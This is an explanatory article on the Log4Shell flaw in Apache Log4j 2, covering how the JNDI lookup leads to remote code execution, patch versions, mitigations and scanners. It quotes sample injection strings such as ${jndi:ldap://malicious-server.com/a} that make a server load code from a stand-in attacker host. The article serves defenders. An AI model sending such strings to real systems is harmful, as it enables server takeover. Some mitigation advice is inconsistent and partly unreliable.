Apache Log4Shell (CVE-2021-44228): Overview about an critical vulnerability

Introduction

The Log4Shell vulnerability, officially known as CVE-2021-44228, is a critical security flaw in the Apache Log4j 2 library, a popular Java-based logging utility used by many applications and services across various systems. Discovered in December 2021, this vulnerability has had a profound impact on the cybersecurity landscape due to its widespread use and the severity of the risk it poses.

The Log4Shell vulnerability is classified as a Remote Code Execution (RCE) flaw. It is found in Apache Log4j versions 2.0 to 2.14.1. The issue arises from the library’s handling of Java Naming and Directory Interface (JNDI) lookups, which can be used by attackers to execute arbitrary code on the server.

The vulnerability is triggered when an attacker sends a specially crafted string that contains a JNDI lookup to a vulnerable application. For instance, if a log message contains ${jndi:ldap://malicious-server.com/a}, Log4j will make a request to the specified LDAP server and potentially load and execute malicious code.

What is vulnerability ?

A vulnerability in the context of cybersecurity refers to a weakness in a system that can be exploited by a threat actor, such as a hacker, to perform unauthorized actions within a computer system. Vulnerabilities can exist in various parts of a system, including software, hardware, or processes. Here are some key aspects of vulnerabilities:

Types of Vulnerabilities

1. Software Vulnerabilities: These are flaws or bugs in software programs that can be exploited to gain unauthorized access or cause damage to the system.
2. Hardware Vulnerabilities: These involve physical or design flaws in hardware components like processors, memory, and network devices that can be exploited to compromise the device.
3. Configuration Vulnerabilities: Poor system or security configurations, such as default passwords or unnecessary services running on a system, can also create vulnerabilities.
4. Process Vulnerabilities: Weaknesses in the procedures and processes that govern data security, such as inadequate access controls or lack of regular audits, can lead to vulnerabilities.

Impact of Exploiting Vulnerabilities

• Data Breach: Unauthorized access to sensitive data, leading to theft, exposure, or corruption of data.
• System Compromise: Full or partial control of a system, allowing for further attacks, data manipulation, or permanent damage.
• Disruption of Services: Interruptions to business operations, services, or critical infrastructure, potentially leading to financial and reputational damage.

Log4j Library

Apache Log4j 2 is a popular open-source logging library that allows software developers to log data within their applications, it is developed by the Apache Software Foundation for the Java platform. It is part of the Apache Logging Services, a project that focuses on the development and maintenance of log-related services. Log4j 2 is designed to provide a reliable logging system that can scale with the application as it grows, from simple setups to complex distributed configurations.

Key Features of Apache Log4j 2

1. Performance: Log4j 2 is designed for speed and efficiency. Its architecture is built on the LMAX Disruptor, a high-performance inter-thread messaging library, which allows it to handle large volumes of log data with minimal impact on application performance.
2. Flexibility: The library supports various output destinations for log data, known as Appenders. These include console, file, GUI components, remote socket servers, NoSQL databases, and more. It also supports various formats for logging, such as plain text, XML, JSON, and HTML.
3. Configurability: Log4j 2 can be configured using XML, JSON, YAML, or properties files. It also supports configuration through API calls and dynamic reconfiguration at runtime without restarting the application.
4. Hierarchy and Log Levels: Log4j 2 maintains a hierarchy of loggers and multiple logging levels (TRACE, DEBUG, INFO, WARN, ERROR, and FATAL), allowing developers to fine-tune which log statements are output at various verbosity levels.
5. Filters: Filters provide a way to decide which log entries to log based on criteria, further enhancing control over what gets logged.
6. Thread Context Map: Useful for web applications, where you can store data like session IDs or usernames so that log entries can be tagged with relevant information, enhancing traceability and debugging capability.

Use Cases and Integration

• Debugging and Diagnostics: Developers use Log4j 2 to trace and debug code, helping identify and fix issues in development and production environments.
• Monitoring: Log files can be analyzed to understand application behavior and performance characteristics over time.
• Security Auditing: Logging accesses and changes to systems can help in security monitoring and forensic analysis.

Behavior of Log4shell

The behavior of the Log4Shell vulnerability (CVE-2021-44228) revolves around its exploitation of the Apache Log4j 2 library’s ability to parse log messages that include lookups. Here’s a breakdown of how this vulnerability operates:

Key Mechanism:

1. JNDI Lookups: Log4j 2 supports the Java Naming and Directory Interface (JNDI), which allows Java applications to interact with various directory services. JNDI lookups in Log4j are used to fetch data from external sources, which can be embedded in log messages.
2. Message Interpolation: Log4j automatically interprets and processes expressions within log messages. This feature, intended for flexibility (e.g., dynamically inserting the current user’s session ID into log messages), became the vector for the exploit.

Exploitation Steps:

1. Injection of Malicious Input: An attacker crafts a log message that includes a malicious JNDI lookup pattern, such as ${jndi:ldap://malicious.server.com/a}. This can be introduced through various inputs expected to be logged by an application, such as user agents, HTTP headers, or form inputs.
2. Logging the Malicious Input: When the crafted message is logged by Log4j, the library interprets the JNDI lookup within the message.
3. Remote Code Execution (RCE): Log4j processes the JNDI lookup, reaching out to the specified remote server (malicious.server.com). The server then responds with a reference to a malicious Java class file, which Log4j loads and executes. This remote code execution can allow the attacker to perform actions on the target server, equivalent to running Java code of their choice.

Why It’s So Severe:

• Ubiquity of Log4j: Log4j is used in countless Java applications worldwide, including many enterprise environments. This widespread usage means that the potential attack surface is enormous.
• Ease of Exploitation: The vulnerability can be exploited by simply crafting a malicious string that might be logged by a vulnerable system. This can be done without any authentication or advanced hacking skills.
• Potential Impact: Since the code is executed within the privileges of the application running Log4j, the damage can be extensive, including stealing data, installing malware, or even taking over the entire system.

Mitigate Log4Shell

• Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1. The fix included restricting the servers and protocols that may be used for lookups.
• Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups.
• Two more vulnerabilities in the library were found: a denial-of-service attack, tracked as CVE-2021-45105 and fixed in 2.17.0; and a difficult-to-exploit remote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1. For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities.
• An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true, but this change does not prevent exploitation of CVE-2021-45046 and was later found to not disable message lookups in certain cases.
• Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications.

So To effectively mitigate the Log4Shell vulnerability, follow these steps:

1. Upgrade Log4j: Immediately upgrade to the latest version of Log4j (at least 2.17.0), which disables vulnerable features by default.
2. Disable JNDI Lookups:
   • If you cannot upgrade, disable JNDI lookups in the Log4j configuration by setting the system property: log4j2.formatMsgNoLookups=True.
   • Alternatively, remove the JNDI classes from the classpath.
3. Configure Firewall:
   • Block outbound connections to unknown IP addresses that might be used to fetch malicious payloads.
   • Set up rules to monitor and potentially block LDAP, RMI, or other protocols often used in JNDI lookups.
4. Review and Audit Logs:
   • Check your application logs for signs of exploitation attempts, such as unexpected external network calls or unrecognized entries.

Each step represents a layer of defense to ensure that even if one mitigation has a flaw, others will provide the necessary security. This approach minimizes the risk of a successful exploitation of the Log4Shell vulnerability in your systems.

Detection and Scanning

Some methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages:

• Free online tool : https://pentest-tools.com/network-vulnerability-scanning/log4j-vulnerability-scanner-cve-2021-44228
• Commercial tools from CrowdStrike, Qualys and Nessus from Tenable also recommend by DVO Team

How Hackers Exploit Log4Shell:

Disrupting services or taking over the control of the affected systems.

Injection of Malicious Input

The exploit begins with the attacker sending a specially crafted string that contains a malicious JNDI (Java Naming and Directory Interface) lookup. This string can be inserted into any data input that is likely to be logged by Log4j. Common points of entry include:

• User input fields such as usernames or other form inputs.
• HTTP headers or cookies.
• Any other inputs that might be logged, such as server or application logs that record user activities or errors.

Logging the Malicious Input

When this input is processed by the Log4j library, the vulnerable system interprets the string. If the system is using an affected version of Log4j (2.0-beta9 to 2.14.1 without mitigations), the library parses the string and performs a JNDI lookup.

Execution of Malicious Code

The malicious JNDI lookup contains a reference to an external server controlled by the attacker (e.g., ldap://attacker.com/exploit). Log4j attempts to resolve this lookup and in doing so, contacts the attacker-controlled server. The server then responds by directing the Java class loader to load a Java class file that contains malicious code. Once loaded, this Java class executes on the target system.

Remote Code Execution (RCE)

Through this mechanism, the attacker can execute arbitrary code on the server running the vulnerable Log4j instance. This can lead to various malicious outcomes such as:

• Installing malware or ransomware.
• Stealing sensitive data.
• Gaining persistent access to the network.

Conclusion

The Log4Shell vulnerability highlighted the critical importance of security in software design and the potential consequences of features that might be exploited maliciously. It serves as a case study in both the risks associated with common software components and the need for rapid response and comprehensive security measures in the software ecosystem.